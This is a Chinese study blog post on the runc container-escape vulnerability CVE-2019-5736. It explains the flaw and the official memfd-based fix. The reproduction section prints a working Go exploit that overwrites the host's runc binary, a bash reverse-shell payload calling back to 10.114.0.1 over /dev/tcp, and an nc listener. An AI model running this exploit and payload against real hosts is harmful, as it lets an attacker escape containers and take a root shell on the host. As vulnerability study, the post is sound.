CVE-2019-5736学习

漏洞分析

CVE-2019-5736是一个runc漏洞,利用这个漏洞可以让容器中的进程覆写runc程序文件,从而在宿主中执行任意指令。

当宿主中的runc要运行容器中的程序时,它会调用nsexec()方法来进入容器的namespace,然后才会运行容器中的程序[1.1]:

void join_namespaces(char *nslist)
{
    int num = 0, i;
    char *saveptr = NULL;
    char *namespace = strtok_r(nslist, ",", &saveptr);
    struct namespace_t {
        int fd;
        int ns;
        char type[PATH_MAX];
        char path[PATH_MAX];
    } *namespaces = NULL;
    ......
    for (i = 0; i < num; i++) {
        struct namespace_t ns = namespaces[i];

        if (setns(ns.fd, ns.ns) < 0)
            bail("failed to setns to %s", ns.path);

        close(ns.fd);
    }
    free(namespaces);
}

void nsexec(void)
{
    ......
    case JUMP_CHILD:{
        ......
        if (config.namespaces)
            join_namespaces(config.namespaces);
        if (unshare(config.cloneflags) < 0)
            bail("failed to unshare namespaces");
        ......
    }
    ......
}

然而,如果runc运行的程序被修改为“#!/proc/self/exe”,runc就会在容器中运行它自己。同时,由于runc已经进入了容器的namespace,runc的进程便可以在容器中的/proc里被发现,此时容器中的程序就可以把runc的程序文件的内容修改为任意恶意代码。

漏洞复现

注意:该漏洞会覆写runc程序,需要提前做备份。

系统:Ubuntu 18.04
Docker:18.09.1
containerd:1.2.0-1

创建一个容器,在里面创建payload文件:

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.114.0.1/1234 0>&1

在10.114.0.1中开启监听:

nc -lvp 1234

然后在容器中创建并编译exp,其中“/exp.sh”为上面创建的payload文件:

package main

import (
    "io/ioutil"
    "os"
    "strconv"
    "bytes"
)

func main() {
    payload, _ := ioutil.ReadFile("/exp.sh")
    ioutil.WriteFile("/bin/sh", []byte("#!/proc/self/exe"), 0755)

    pid := ""
    for pid == "" {
        pids, _ := ioutil.ReadDir("/proc")

        for _, f := range pids {
            cmdline, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
            if bytes.Contains(cmdline, []byte("runc")) {
                pid = f.Name()
                break
            }
        }
    }

    exefd := ""
    for {
        exe, _ := os.Open("/proc/"+pid+"/exe")
        if int(exe.Fd()) > 0 {
            exefd = strconv.Itoa(int(exe.Fd()))
            break
        }
    }

    for {
        writefd, _ := os.OpenFile("/proc/self/fd/"+exefd, os.O_WRONLY|os.O_TRUNC, 0755)
        if int(writefd.Fd()) > 0 {
            writefd.Write(payload)
            break
        }
    }
}

在容器中执行该程序,然后在另一个宿主的session中执行容器的/bin/sh:

sudo docker exec -it ubuntu /bin/sh

由于此时容器中的/bin/sh已经被覆写,此处实际上运行的是runc本身。随后之前运行的exp覆写runc文件,内容为payload的内容,此时宿主会反弹一个shell到攻击机。

并且也可以看到runc文件的内容发生了变化。

官方修复

在修复后,runc会先将自己复制为一个临时存在于内存中的匿名文件,然后复制后的runc会进入容器的namespace,而原本的runc则不会进入,这样容器中对runc的修改就不会影响到宿主中原本的runc[3.1]。

#ifdef HAVE_MEMFD_CREATE
    memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING);
#else
    memfd = open("/tmp", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711);
#endif
    if (memfd < 0)
        return -ENOTRECOVERABLE;
    binfd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
    if (binfd < 0)
        goto error;
    sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX);
    close(binfd);

参考

[1.1] https://github.com/opencontainers/runc/blob/v1.0.0-rc5/libcontainer/nsenter/nsexec.c#L792
[2.1] https://unit42.paloaltonetworks.com/breaking-docker-via-runc-explaining-cve-2019-5736/
[2.2] https://github.com/Frichetten/CVE-2019-5736-PoC
[3.1] https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注